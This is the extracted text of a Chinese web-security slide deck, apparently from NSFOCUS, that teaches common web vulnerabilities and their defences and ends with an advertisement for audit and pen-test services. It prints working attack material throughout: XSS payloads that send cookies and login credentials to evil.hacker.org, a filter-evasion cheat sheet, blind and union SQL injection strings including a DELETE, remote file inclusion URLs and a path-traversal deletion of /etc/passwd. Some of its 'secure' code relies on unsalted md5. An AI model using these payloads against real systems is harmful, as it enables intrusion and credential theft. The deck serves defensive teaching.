狠狠撸

Penetration test Software developer Security analyst Security consultation Whatever

跨站攻击注入攻击远程文件执行 CSRF 攻击访问控制缺陷配置错误数据存储不安全直接对象参考不安全认证和会话管理不完善通信不安全

1. 攻击者向服务器插入恶意代码 2. 数据库存储恶意代码姚明… 3. 互联网用户点击主题 4. 数据传送给互联网用户 5. 浏览器执行恶意代码 Attacker Client Web Server 免费赠送奥运门票 !!! <script> attack code </script> !!! attack code !!! 刘翔… 郑智… 郭晶晶… 中国队 ..... 攻击者、弱点网站、互联网用户的互动游戏 Post Forum Message: 主题 : 免费赠送奥运门票 !!! 内容 : <script> attack code </script> 免费赠送奥运门票 !!! <script> attack code </script> Get /forum.php?fid=122&mid=241

姚明… Attacker Client Web Server 免费赠送奥运门票 !!! <script> attack code </script> !!! attack code !!! 刘翔… ..... 郑智… ..... 郭晶晶… 中国队 ..... cookies Post Forum Message: 主题 : 免费赠送奥运门票 !!! 内容 : <script> attack code </script> 免费赠送奥运门票 !!! <script> attack code </script> Get /forum.php?fid=122&mid=241

姚明… Attacker Client Web Server 免费赠送奥运门票 !!! <script> attack code </script> !!! attack code !!! 刘翔… ..... 郑智… ..... 郭晶晶… 中国队 ..... phishing username/password Post Forum Message: 主题 : 免费赠送奥运门票 !!! 内容 : <script> attack code </script> 免费赠送奥运门票 !!! <script> attack code </script> Get /forum.php?fid=122&mid=241

姚明… Attacker Client Web Server 免费赠送奥运门票 !!! <script> attack code </script> !!! attack code !!! 刘翔… ..... 郑智… ..... 郭晶晶… 中国队 ..... spoofed Server Post Forum Message: 主题 : 免费赠送奥运门票 !!! 内容 : <script> attack code </script> 免费赠送奥运门票 !!! <script> attack code </script> Get /forum.php?fid=122&mid=241

姚明… Attacker Client Web Server 免费赠送奥运门票 !!! <script> attack code </script> !!! attack code !!! 刘翔… ..... 郑智… ..... 郭晶晶中国队 ..... botnet Post Forum Message: 主题 : 免费赠送奥运门票 !!! 内容 : <script> attack code </script> 免费赠送奥运门票 !!! <script> attack code </script> Get /forum.php?fid=122&mid=241

<?php print 'welcome '.$_GET['name']; ?> http://example/welcome.php?name=Wong_Bin <HTML> <Body> Welcome Wong_Bin </Body> </HTML>

<?php print 'welcome '.$_GET['name']; ?> http://example/welcome.php?name=<script>alert("XSS")</script> <HTML> <Body> Welcome <script>alert("XSS")</script> </Body> </HTML>

<Font size=5> Update your email address</ font> <form name="inject" method="post" action="http://example/update.php"> <input type="text" name="search" size=60> <input type="submit" value=" 确定 "> </ form> <?php ... $email = $_GET['email']; $query = "update user set email='$email' where name='wong'"; $db_query = mysql_db_query($dbname,$query); $db_resutl = mysql_num_rows($db_query); if ($db_resutl) { print “Success update...\n"; } ?> <?php ... $query = select email from user where name = 'wong' $db_query = mysql_db_query($dbname,$query); $db_resutl = mysql_result ($db_query, 0); if ($db_resutl) { echo "<p>EMAIL Address:$ db_resutl <p>"; } ?> <HTML> EMAIL Address: huangbin@nsfocus.com </HTML> [email_address] Update your email address 确定

<Font size=5> Update your email address</ font> <form name="inject" method="post" action="http://example/update.php"> <input type="text" name="search" size=60> <input type="submit" value=" 确定 "> </ form> <?php ... $email = $_GET['email']; $query = "update user set email='$email' where name='wong'"; $db_query = mysql_db_query($dbname,$query); $db_resutl = mysql_num_rows($db_query); if ($db_resutl) { print “Success update...\n"; } ?> <?php ... $query = select email from user where name = 'wong' $db_query = mysql_db_query($dbname,$query); $db_resutl = mysql_result ($db_query, 0); if ($db_resutl) { echo "<p>EMAIL Address:$ db_resutl <p>"; } ?> <HTML> EMAIL Address: huangbin@nsfocus.com </HTML> huangbin@nsfocus.com<script>document.location ='http://evil.hacker.org/steal_cookies.php?cookies=‘%20+encodeURI(document.cookie);</script> http://evil.hacker.org. Steal Cookes!!! Update your email address 确定

姚明… Attacker Client Web Server 免费赠送奥运门票 !!! <script> attack code </script> <HTML> 欢迎来到奥运论坛！用户名：密码： </HTML> 刘翔… ..... 郑智… ..... 郭晶晶 ..... 中国队 ..... User_information.txt 记录用户名和密码奥运论坛主题 : 免费赠送奥运门票 !!! 内容 : <script> attack code </script> 免费赠送奥运门票 !!! <script> attack code </script> Get /forum.php?fid=122&mid=241 输入用户名、密码。登陆……

… <body background=javascript:evil=document.createElement("script");evil.src=/slideshow/webv10/460315/"http:/evil.hack.org/xss.js";document.body.appendChild(evil);> … <SCRIPT language=JavaScript> function Phishing() { evil_code = Make a Phishing Page by … document.write(evil_code); } Phishing() </SCRIPT> ... <form>action="user_infomation.php" method="post" onsubmit="evilImg=new Image; evil.src='http://evil.hacker.org/'+document.forms(1).login.value'+':'+ document.forms(1).password.value;"</form> ... <?php if (isset($_POST['username']) && isset($_POST['password'])) { $filename = "/www/user_information.txt"; $file = @fopen($file_path, "a"); $info = "user: ".$_POST['username']." passwd:".$_POST['password']."\n"; @fwrite($file, $info); @fclose($file); } ?> Phish Attacker Client 请重新登陆用户：密码：确定取消

<INPUT TYPE="image" SRC=/slideshow/webv10/460315/"http:/example"><script>alert(& <INPUT TYPE="image" SRC="http://example"> ? Normally ? Evil

? Danger replace(str,"<","<") replace(str,">",">") ‘ <script.*>’ ? Weak

<INPUT TYPE="image" SRC=javascript:alert("xss") > ? Evil Dim re ????Set re=new RegExp ????re.IgnoreCase =True ????re.Global=True re.Pattern=/slideshow/webv10/460315/"javascript:" ????Str = re.replace(Str,/slideshow/webv10/460315/"javascript ： ") ????re.Pattern="jscript:" ?? Str = re.replace(Str,"jscript ： ") ????re.Pattern="vbscript:" ?? Str = re.replace(Str,"vbscript ： ") set re=nothing ? N ot so good ? Danger javascript:

<INPUT TYPE="image" SRC=/slideshow/webv10/460315/javascript& ? Evil ? Danger ‘ & ’ replace(str,"&","&") ? Weak

<img src=/slideshow/webv10/460315/"javas cript:alert('xss')"> ? Evil ? Danger replace(str,“ ”,“  “) ? Weak

http://example/weak.php?username=%3A%69%6E%70%75%74%21%74%79%70%65%3D%68%69%64%64%65%6E%20%76%61%6C%75%65%3D%47%6F%74%63%68%61%21%20%6E%61%6D%66%20%3D%20%78%3E%20%3C%73%63%71%69%71%74%3E%20%61%6C%65%72%71%28%78%2C%76%61%6C%75%65%29%27%3C%2F%73%63%72%69%70%74%3E%4A%69%6C http://example/weak.php?username=<input type=hidden value=v name = x> <script>alert(x.value)</script>Wrong ? Evillooking

function safe_html($msg) { $msg = str_replace('&','&',$msg); $msg = str_replace(' ',' ',$msg); $msg = str_replace('"','"',$msg); $msg = str_replace("'",''',$msg); $msg = str_replace("<","<",$msg); $msg = str_replace(">",">",$msg); $msg = str_replace("\t","    ",$msg); $msg = str_replace("\r","",$msg); $msg = str_replace(" ","   ",$msg); return $msg; } Danger input Encoding input

<img src=/slideshow/webv10/460315/" onerror=alert(/xss/)> ? Evil <img src=/slideshow/webv10/460315/" style=“evil:expression(alert(/xss/));"> <img src=/slideshow/webv10/460315/"/**/onerror=alert(/xss/) > ? Evil ? Evil

HTML 表单 WEB 程序数据库 WEB 程序浏览器 ? ? ? ?

HTML 表单 WEB 程序数据库 WEB 程序浏览器 ? replace(str, safer, danger) …… …… 事前 Htmlspecialchars ($html, ENT_QUOTES) …… 事中 FireFox no script …… …… 事后

POST / thepage.jsp?var1=page1.html HTTP/1.1 Accept: */* Referer: http:// www.myweb.com/index.html Accept-Language: en-us,de;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-url-encoded Content-Lenght: 59 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Host: www. myweb.com Connection: Keep-Alive uid=fred&password=secret&pagestyle=default.css&action=login Danger

‘ <script.*>’ <table background=javascript:evil()> <tr background=javascript:evil()> <body background=javascript:evil()>

<input type='image' src=javascript:evil()> <img src='javascript:evil()’> <frameset> <frame src=/slideshow/webv10/460315/"javascript:danger()">...

[IE] <div style="behaviour: url( /slideshow/webv10/460315/[link to code] );"> [Mozilla] <div style="binding: url( /slideshow/webv10/460315/[link to code] );"> [IE] <div style="width: expression( [code] );"> [N4] <style type= "text/javascript">[code] </style> [IE] <object classid="clsid:..." codebase=/slideshow/webv10/460315/"javascript:[code]" > <style></script> <![CDATA[</script>  <script>[code]</script>  < <script>[code]</script> <img src=/slideshow/webv10/460315/"blah"onmouseover=" [code] "> <img src="blah>" onmouseover=" [code] "> <xml src=" javascript:[code] "> <xml d="X"><a><b> <script>[code]</script> ; </b></a> </xml> <div datafld="b" dataformatas="html" datasrc=" #X "></div> [UTF-8; IE, Opera] [\xC0][\xBC]script>[code][\xC0][\xBC]/script> <a href=" javascript#[code] "> <div onmouseover=" [code] "> <img src=" javascript:[code] "> [IE] <img dynsrc=" javascript:[code] "> [IE] <input type="image" dynsrc=" javascript:[code] "> [IE] <bgsound src=" javascript:[code] "> & <script>[code]</script> [N4] &{ [code] }; [N4] <img src=&{ [code] };> <link rel="stylesheet" href=" javascript:[code] "> [IE] <iframe src=" vbscript:[code] "> [ N4] <img src=" mocha:[code] "> [N4] <img src=" livescript:[code] "> < a href="about: <script>[code]</script> "> <meta http-equiv="refresh" content="0;url= javascript:[code] "> <body onload=" [code] "> <div style="background-image: url( javascript:[code] );">

Htmlspecialchars() Htmlspecialchars() Strip_tags() $str = strip_tags($_POST['message'], '<b><p><i><u>'); $str = htmlentities($str); echo nl2br($str);

<?php $html = '<p><i><s>Welcome to Nsfocus!</i></p></s>'; print strip_tags($html); print ‘\n’; // Allow <p><i><s> print strip_tags($html, '<p><i><s>'); ?> <?php $html = '<script>alert("xss attack!!")</script>'; print strip_tags($html); print "\n"; // Allow <script> print strip_tags($html, '<script>'); ?> Welcome to Nsfocus! alert("xss attack!!")

<?php $html = "<a href='http://example'>evil link</a>"; $new_html = htmlspecialchars($html, ENT_QUOTES); // <a href='test'>Test</a> print $html."\n\r"; print $new_html; ?> <?php $html = '<script>alert("xss attack!!")</script>'; $new_html = htmlspecialchars($html, ENT_QUOTES); // <a href='test'>Test</a> print $new_html."\n\r"; print $html; ?> evil link alert("xss attack!!") <a href='test'>Test</a>

<?php $html = "<a href='http://example'>evil link</a>"; $new_html = htmlspecialchars($html, ENT_QUOTES); // <a href='test'>Test</a> print $html."\n\r"; print $new_html; ?> <?php $html = '<script>alert("xss attack!!")</script>'; $new_html = htmlentities($html, ENT_QUOTES,’UTF-8’); // <a href='test'>Test</a> print $new_html."\n\r"; print $html; ?> evil link alert("xss attack!!") <a href='test'>Test</a>

$_FILES['message'] $_GET['message'] $_REQUEST['message'] $_POST['message'] $HTTP_GET_VARS['message'] More… $_COOKIE['message'] $_ENV['message'] $_SESSION['message'] $_SERVER['message']

入侵技术交流防御 SQL Injection

... <form action = "login.php" method = "post" name = "login"> 用户 :<input type = "text" name = "username" value = "" maxlength = "20"> 密码 :<input type = "password" name = “password" value = "" maxlength = "20"> <INPUT TYPE=submit name = "confirm" value = " 确定 "> <INPUT TYPE=reset name = "cancel" value = " 取消 "> </form> ... <?php $query= "select * from user where username= ‘$_GET[‘username']’ and password= ‘$_GET[‘password]’ ”; $db_query = mysql_db_query($dbname, $query); $db_resutl = mysql_fetch_array($db_query); if ($db_resutl) { print "Success in...\n"; } ?> ? select * from user where username= ‘$_GET[‘username']’ and password= ‘$_GET[‘password]’ ? 用户：密码：确定取消

select * from user where username= ‘$_GET[‘username']’ and password= ‘$_GET[‘password]’ admin select * from user where username=‘admin’ and password=‘’ or ‘’=‘’ Success in… ‘ or’’=‘ 用户：密码：确定取消

select * from user where username= ‘$_GET[‘username']’ and password= ‘$_GET[‘password]’ ‘ ;Delete from users;/* select * from user where username=‘‘;Delete from users;/*… Success in… ? Worse 用户：密码：确定取消

<Font size=5>Search page</font> <form name="inject" method="post" action="http://example/Search.php"> <input type="text" name="name" size=60> <input type="submit" value=" 确定 "> </form> <?php $search_name = $_GET['search_name']; $ query = "select * from user where username like ‘ %$search_name% ’ order by id desc"; $db_query = mysql_db_query($dbname,$ query); $db_resutl = mysql_num_rows($db_query); if ($db_resutl) { print "Search result...\n"; } ?> ? select * from user where username like ‘ %$search_name %‘ order by id desc ? Search page: 确定

select * from user where username like ‘%$search_name%‘ order by id desc select * from user where username like ‘%%‘ order by id #%’order by id desc All username show… %' order by id# Search page: 确定

<Font size=5>Update your password</font> <form name="update" method="post" action="http://example/update.php"> <input type="text" name="password" size=20> <input type="submit" value=" 确定 "> </form> <?php $passwd = $_GET[‘password ‘]; $query = “update user set passwd='$passwd' where uid='$uid'"; $db_query = mysql_db_query($dbname,$query); $db_resutl = mysql_num_rows($db_query); if ($db_resutl) { print “Success in update...\n"; } ?> ? update user set passwd='$passwd' where uid='$uid' ? Update your password: 确定

update user set passwd='$passwd' where uid='$uid' update user set passwd=‘123’ where uid =‘1’/*where uid =‘252’ Uid1 password chang Update your password: 123’ where uid = ‘1’/* 确定

Get /query.php?name=Wong ' Get /query.php?name=Wong’ and LEFT(password,1)=‘i Web Server … MYSQL SERVER 将 varchar 值“ luyq@#11” 转换时发生语法错误。 /show/query.php ，第 87 行 Password 是 luyq@#11 Attacker FALSE FALSE

Attacker Web Server Post /attacktarget?errors=Y&debug=5 Show more … Get /query.php?user=joe’ Error message: $debug = 1 …

show_source() highlight_string() highlight_file() Other Show error message function… ? Take care error_reporting() Php.ini ------- display_errors = off ? Better

1. 判断注入点 MSSQL SERVER!! Get /query.asp?name=Wong ' Get /query.asp?name=Wong and 1=1 Get /query.asp?name=Wong and 1=2 Web Server Attacker FALSE TRUE FALSE

Get /query.asp?name= Wong and (select count(*) from admin)>=0 Get /query.asp?name= Wong and (select count(user) from admin)>=0 Get /query.asp?name= Wong and (select count(username) from admin)>=0 … 1. 判断注入点 2. 探测数据库结构 MYSQLSERVER!! 表名 admin 字段 username.. Attacker Web Server TRUE FALSE TRUE

Get /query.asp?name= Wong and (select top 1 len(username) from admin)>5 Get /query.asp?name= Wong and (select top 1 len(username) from admin)<10 Get /query.asp?name= Wong and (select top 1 len(username) from admin)=8 … 1. 判断注入点 2. 探测数据库结构 MSSQL SERVER!! 表名 admin 字段 username... 用户名长 5 位，密码长 8 位 3. 探测用户名和密码长度 Attacker Web Server TRUE TRUE TRUE

Get /query.asp?name= Wong and 1= (select count(*) from admin where id=1 and mid(uaername,1,1)='a') Get /query.asp?name= Wong and 1= (select count(*) from admin where id=1 and mid(uaername,2,1)=‘r') … 1. 判断注入点 2. 探测数据库结构 MSSQL SERVER!! 表名 admin 字段 username... 用户名长 5 位，密码长 8 位 3. 探测用户名和密码长度用户名： admin 密码： jjyy@!&1 4. 探测用户名和密码 Attacker Web Server TRUE FALSE

1. 判断注入点 MYSQL SERVER!! Get /query.php?name=joe’ Get /query.php?name=joe’ and 1=1 Get /query.php?name=joe’ and 1=2 Web Server Attacker FALSE TRUE FALSE

Get /query.php?name= joe’ and LENGTH(password)>‘5 Get /query.php?name= joe’ and LENGTH(password)<‘15 Get /query.php?name= joe’ and LENGTH(password) =‘13 … 1. 判断注入点 2. 探测密码长度 MYSQLSERVER!! 密码长 13 位 Attacker Web Server TRUE TRUE TRUE

Get /query.asp?name= joe’ and LEFT(password,1)=‘m Get /query.asp?name= joe’ and LEFT(password,1)=‘i Get /query.asp?name= joe’ and LEFT(password,2)=‘f … 1. 判断注入点 2. 探测密码长度 MYSQL SERVER!! 密码长 13 位密码是 ilovepassword 3. 探测密码 Attacker Web Server FALSE TRUE FALSE

Get /query.php?name= joe’ union select 1,1,1,1,1 from root_user/* Get /query.php?name= admin’ union select 1,1,1,1,1 from admin_user/* … 1. 判断注入点 2. 探测数据库结构 MSSQL SERVER!! 密码长 12 位密码是 ilovepassword 3. 探测用户名和密码长度猜测到存放管理员信息的 admin_user 表 4. 探测其它表 Attacker Web Server FALSE TRUE

Get /query.php?name= joe’and 1<>1 union select 1,1,name,1,1,passwd,1 from admin_user /* 1. 判断注入点 2. 探测数据库结构 MSSQL SERVER!! 密码长 12 位密码是 ilovepassword 3. 探测用户名和密码长度猜测到存放管理员信息的 admin_user 表 4. 探测其它表用户名： admin 密码： fly_you ！ @# 5. 拿到用户名和密码 Attacker Web Server TRUE

Get /query.php?name= -1’ union select 1,1,1,1,load_file('c:/boot.ini') C lient Web Server C:\boot.ini

合法数据长度检测数据类型检测数据字符检测合法合法否合法出错提示否否

客户端检查、过滤合法错误提示错误提示服务器响应服务端检查、过滤合法处理提交信息攻击备案输入输入绕过客户端检查否是是否客户端服务端

< > & ‘ “ + ; {Whitespace} % / \ # Danger ！

addslashes mysql_real_escape_strin PDO escapeshellarg escapeshellcmd magic_quotes_gpc register_globals safe_mode allow_url_fopen open_basedir disable_functions 注：解决方案少了，需要更多的时间去完成… …

入侵技术交流防御恶意文件执行

Web Server Attacker Get /script.php?file=http%3A%2F%2F evil.hacker.org%2Fevilscript.txt root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin. ...

<?php include($_GET['file'].".php"); ?> <?php print file_get_contents('/etc/passwd'); ?> Get /script.php?file=http%3A%2F%2F evil.hacker.org%2Fevilscript.txt

<?php include($_GET['file'].".php"); ?> Get /script.php?file=http%3A%2F%2F evil.hacker.org%2Fevilscript.txt <?php var_dump(get_defined_vars()); die(); ?>

<?php include($_GET['file'].".php"); ?> Get /script.php?file=http%3A%2F%2F evil.hacker.org%2Fevilscript.txt <?php print "Guess user & password demo\n"; include('http://evil.hacker.org/userGuesses.php'); foreach($userGuesses as $user => $password) { $connection = @mysql_connect('localhost', $user, $password); if ($connection) { print "Success with username: $user. Using password: $password\n"; } } ?>

? Right allow_url_fopen allow_url_include($file) ? Advise <?php include($_GET['file'].".php"); ?> <?php $page = array( 'contact' => 'contact.php', 'help' => 'help.php', 'query' => 'query.php'); if (array_key_exists($_GET['file'], $page)) { include('/full/path/'.$page[$_GET['file']]); } ?> ? Wrong

Attacker Web Server Get /del.php?user=../etc&file=passwd Del /etc/passwd success Post file=passwd Success Post…

<?php // 从用户目录中删除指定的文件 $username = $_GET['user']; $homedir = "/home/$username"; $file_to_delete = "$userfile"; unlink ("$homedir/$userfile"); echo "$file_to_delete has been deleted!"; ?> <?php // 删除硬盘中任何 PHP 有访问权限的文件 $ file_to_delete = $_GET[‘file’]; $username = "../etc/"; $homedir = "/home/../etc/"; $file_to_delete = "passwd"; unlink ("/home/../etc/passwd"); echo "/home/../etc/passwd has been deleted!"; ?> Get /del.php?user=../etc&file=passwd

? Right ? Better <?php $username = $_SERVER['REMOTE_USER']; // 使用认证机制 $homedir = "/home/$username"; $file_to_delete = basename("$userfile"); // 去除变量中的路径 unlink ($homedir/$file_to_delete); $fp = fopen("/home/logging/filedelete.log","+a"); // 记录删除动作 $logstring = "$username $homedir $file_to_delete"; fwrite ($fp, $logstring); fclose($fp); echo "$file_to_delete has been deleted!"; ?> <?php $username = $_SERVER['REMOTE_USER']; // 使用认证机制 $homedir = "/home/$username"; if (!ereg('^[^./][^/]*$', $userfile)) die('bad filename'); // 停止执行代码 if (!ereg('^[^./][^/]*$', $username)) die('bad username'); // 停止执行代码 ?>

? And 只给 PHP 的 web 用户很有限的权限！

<?php $to = 'nobody@example.com'; $subject = 'the subject'; $message = 'hello'; $from = $_POST[from']; mail($to, $subject, $message, $from ); ?> To: [email_address] Subject: the subject From: [email_address] POST [email_address]

<?php $to = 'nobody@example.com'; $subject = 'the subject'; $message = 'hello'; $from = $_POST[from']; mail($to, $subject, $message, $from ); ?> To: [email_address] Subject: the subject From: [email_address] Bcc: [email_address] Reply-To: [email_address] … POST fake@example.org\r\nBcc:evil@example.com\r\nReply-To:evil2@example.com

<?php $to = 'nobody@example.com'; $subject = 'the subject'; $message = 'hello'; $from = $_POST[from']; if (! ctype_print ($headers)) { print "Error post\n"; } else mail($to, $subject, $message, $from ); ?> ? Right <?php $to = 'nobody@example.com'; $subject = 'the subject'; $message = 'hello'; $from = $_POST[from']; if (! ctype_print ($headers)) { write_logs(IP MESSAGE); print “U IP has been log…\n"; } else mail($to, $subject, $message, $from ); ?> ? Better

入侵技术交流防御 CSRF

1. 攻击者向服务器插入恶意代码 2. 数据库存储恶意代码姚明… 3. 互联网用户访问网站 4. 互联网用户点击主题 5. 浏览器执行恶意代码 Attacker Client Web Server 免费赠送奥运门票 !!! <script> attack code </script> !!! attack code !!! 刘翔… 郑智… 郭晶晶… 中国队 ..... 192.168.1.10 6. 执行危险的操作 cookies 信任域 Post Forum Message: 主题 : 免费赠送奥运门票 !!! 内容 : <script> attack code </script> 免费赠送奥运门票 !!! <script> attack code </script> Get /forum.php?fid=122&mid=241 login Webpage+cookies evil

Attacker Myspace Post <div style=“background:url()”> Cool ！ Post <script.*> 、 onclick, 、 <a href=javascript://> … False Post <divstyle=“background:url(/slideshow/webv10/460315/‘javascript:evil()’)”> False Post <divstyle=“background:url(/slideshow/webv10/460315/‘java script:evil()’)”> False Post <divstyle=“background:url(/slideshow/webv10/460315/‘java&)’)”> Cool!!!Hello,web worm!

入侵技术交流防御配置错误

Web Server Attacker Get /config/horde.php.bak ... $conf['prefs']['driver'] = 'sql'; $conf['prefs']['params'] = array(); $conf['prefs']['params']['phptype'] = 'mysql'; $conf['prefs']['params']['hostspec'] = 'foo.bar'; $conf['prefs']['params']['username'] = 'root'; $conf['prefs']['params']['password'] = 'blabla'; $conf['prefs']['params']['database'] = 'horde'; $conf['prefs']['params']['table'] = 'horde_prefs'; ...

php.ini register_globals: Off allow_url_fopen: Off magic_quotes_gpc: Off magic_quotes_runtime: Off safe_mode: On open_basedir: On displays_errors = off log_errors = on error_log = /var/log/php.log register_globals = off session.use_trans_sid = 0 open_basedir = /servers/www/foo.bar/ expose_php = off Must

入侵技术交流防御身份认证漏洞

Attacker Web Server Post wrong username or passwd 用户名或密码错误 Get /login.php 用户：密码：确定取消 Get /script.php?authorized=1 Success login in…

<?php if (authenticated_user()) { $authorized = true; } if ($authorized) { include '/highly/sensitive/data.php'; } ... ?> <?php $_SESSION['authenticated'] = false; if (authenticate_user()) { $_SESSION['authenticated'] = true; } if (!$_SESSION['authenticated']) { die("Authorization required"); } ... ?> ? Wrong ? Right

? Better ? Advise <?php $_SESSION['authenticated'] = false; if (authenticate_user()) { $_SESSION['authenticated'] = true; } if (!$_SESSION['authenticated']) { mail("admin@example.com", "Possible breakin attempt", $_SERVER['REMOTE_ADDR']); echo "Security violation, Admin has been alerted."; exit; } ... ?> register_globals = off error_reporting(E_ALL); ? And

<?php if (!isset($_SESSION['session_id'])) { $_SESSION['session_id'] = 1; } else { $_SESSION['session_id']++; } print “we can guest it\n” ?> ? W rong ? Right <?php Session_start(); if (!isset($_SESSION['session_id'])) { $_SESSION['session_id'] = 1; } else { session_regenerate_id (); } print “we can guest it\n” ?>

入侵技术交流防御存储缺陷

Get /query.asp?name= admin and 1= (select count(*) from admin where id=1 and mid(password,1,1)='a') Get /query.asp?name= admin and 1= (select count(*) from admin where id=1 and mid(password,2,1)=‘r') … 1. 判断注入点 2. 探测数据库结构 MSSQL SERVER!! 表名 admin 字段 username... 用户名和密码长度 3. 探测用户名和密码长度密码是 admin@#$%! 4. 探测密码 Attacker Web Server TRUE FALSE

Get /query.asp?name= admin and 1= (select count(*) from admin where id=1 and mid(uaername,1,1)=‘1') Get /query.asp?name= admin and 1= (select count(*) from admin where id=1 and mid(uaername,2,1)=‘r') … 1. 判断注入点 2. 探测数据库结构 MSSQL SERVER!! 表名 admin 字段 username... 用户名和密码长度 3. 探测用户名和密码长度 HASH 值 120a1b2649c88aef29edd2ffd7359d73 4. 探测密码 Attacker Web Server TRUE FALSE

Web Server Attacker Get /config/database.mdb Database.mdb Username | password Admin admin@#$%! …

Web Server Attacker Get /config/database.mdb Database.mdb Username | password Admin 120a1b2649c88aef29edd2ffd7359d73 …

admin@#$%! 0x120a1b2649c88aef29edd2ffd7359d73 ? W rong ? Right

<?php // 存储密码散列 $query = sprintf("INSERT INTO users(name,pwd) VALUES('%s','%s');", addslashes($username), md5($password)); $result = pg_query($connection, $query); // 发送请求来验证用户密码 $query = sprintf("SELECT 1 FROM users WHERE name='%s' AND pwd='%s';", addslashes($username), md5($password)); $result = pg_query($connection, $query); if (pg_num_rows($result) =< 0) { echo 'Authentication failed for $username.'; } ?> ? Rigth

md5(uniqid(rand(), true)) B etter than md5(uniqid(rand()) ? C ookie

Php.ini session.save_path ? S ession

攻击技术交流防御 HTTP 数据传输

Post Forum Message: 用户名 : aa 密码 : aa_passwd C lient Web Server 登陆成功，欢迎 aa…

Attacker 登陆成功，欢迎 aa… 登陆论坛用户名 : aa 密码 : aa_passwd C lient Web Server 登陆成功，欢迎 aa… 登陆论坛用户名 : aa 密码 : aa_passwd

Attacker qfw2k3vkei5vinev C lient Web Server faj2fk42iio 9fj1kjfajffj fkajlkfiefi2hffkfkff WAP 登陆论坛用户名 : aa 密码 : aa_passwd 登陆成功，欢迎 aa…

C lient Web Server Client Arp 病毒登陆论坛用户名 : aa 密码 : aa_passwd <script> evil code </script> 登陆论坛用户名 : aa 密码 : aa_passwd

Evil Attacked! C lient Web Server 登陆成功，欢迎 aa… <script>evil code</script> 登陆成功，欢迎 aa… Client Arp 病毒

入侵技术交流防御访问控制缺陷

Get /afalkjfla/admin123.php C lient Web Server 登陆管理界面成功，欢迎 admin 回家…

Get /query.asp?name= joe’ and LEFT(password,1)=‘m Get /query.asp?name= joe’ and LEFT(password,1)=‘i Get /query.asp?name= joe’ and LEFT(password,2)=‘f … 1. 判断注入点 2. 探测密码长度 MYSQL SERVER!! 密码长 13 位密码是 ilovepassword 3. 探测密码 4. 寻找后台登陆页面 Attacker Web Server FALSE TRUE FALSE

入侵技术交流防御 WEB2.0 时代

用户客户端 WEB 服务端数据库 HTML+CSS HTTP REQ Ajax WEB 或者 XML 服务端数据库 XML HTTP REQ 浏览器服务端用户客户端 HTML+CSS JavaScript 浏览器服务端 ? Web 1.0 ? Web 2.0

<cross-domain-policy> <allow-access-from domain="*"/> </cross-domain-policy> Open API Vulnerable

register_globals magic_quotes 开源社区的努力安全厂商的努力软件厂商的努力微软 Google 绿盟 safe_mode PHP … … 极光弱点防护领域的领导者

绿盟科技专业服务代码审计服务渗透测试服务

<?php $query = sprintf("INSERT INTO users(name,pwd) VALUES('%s','%s');", $username, $password); $result = pg_query($connection, $query); // 发送请求来验证用户密码 $query = sprintf("SELECT 1 FROM users WHERE name='%s' AND pwd='%s';", $username, $password); $result = pg_query($connection, $query); if (pg_num_rows($result) =< 0) { echo 'Authentication failed for $username.'; } ?> ? 代码审计服务绿盟科技安全小组使用白盒 (White Box) 测试对源代码进行审计，找出编程缺陷，并提供改进建议及最佳安全编码实践。

<?php $query = sprintf("INSERT INTO users(name,pwd) VALUES('%s','%s');", addslashes($username), md5($password)); $result = pg_query($connection, $query); // 发送请求来验证用户密码 $query = sprintf("SELECT 1 FROM users WHERE name='%s' AND pwd='%s';", addslashes($username), md5($password)); $result = pg_query($connection, $query); if (pg_num_rows($result) =< 0) { echo 'Authentication failed for $username.'; } ?> <?php $query = sprintf("INSERT INTO users(name,pwd) VALUES('%s','%s');", addslashes($username), md5($password)); $result = pg_query($connection, $query); // 发送请求来验证用户密码 $query = sprintf("SELECT 1 FROM users WHERE name='%s' AND pwd='%s';", addslashes($username), md5($password)); $result = pg_query($connection, $query); if (pg_num_rows($result) =< 0) { echo 'Authentication failed for $username.'; } ?> ? 代码审计服务

Pentest Pentest Pentest … 绿盟科技渗透测试小组 (NSFOCUS Pen-test Team) 使用多种技术和方法对客户授权指定的设备进行模拟攻击，验证当前的安全防护措施，找出风险点，提供有价值的安全建议。 ? 渗透测试服务 Pen-test Team Web Server Succeed Succeed Succeed

此广告位招租请联系 68730606-8502 按出价高低顺序约谈…

Professional Security Solution Provider Thanks!

狠狠撸

奥别产安全解决方案痴1.0

Recommended

More Related Content

Similar to 奥别产安全解决方案痴1.0 (20)

奥别产安全解决方案痴1.0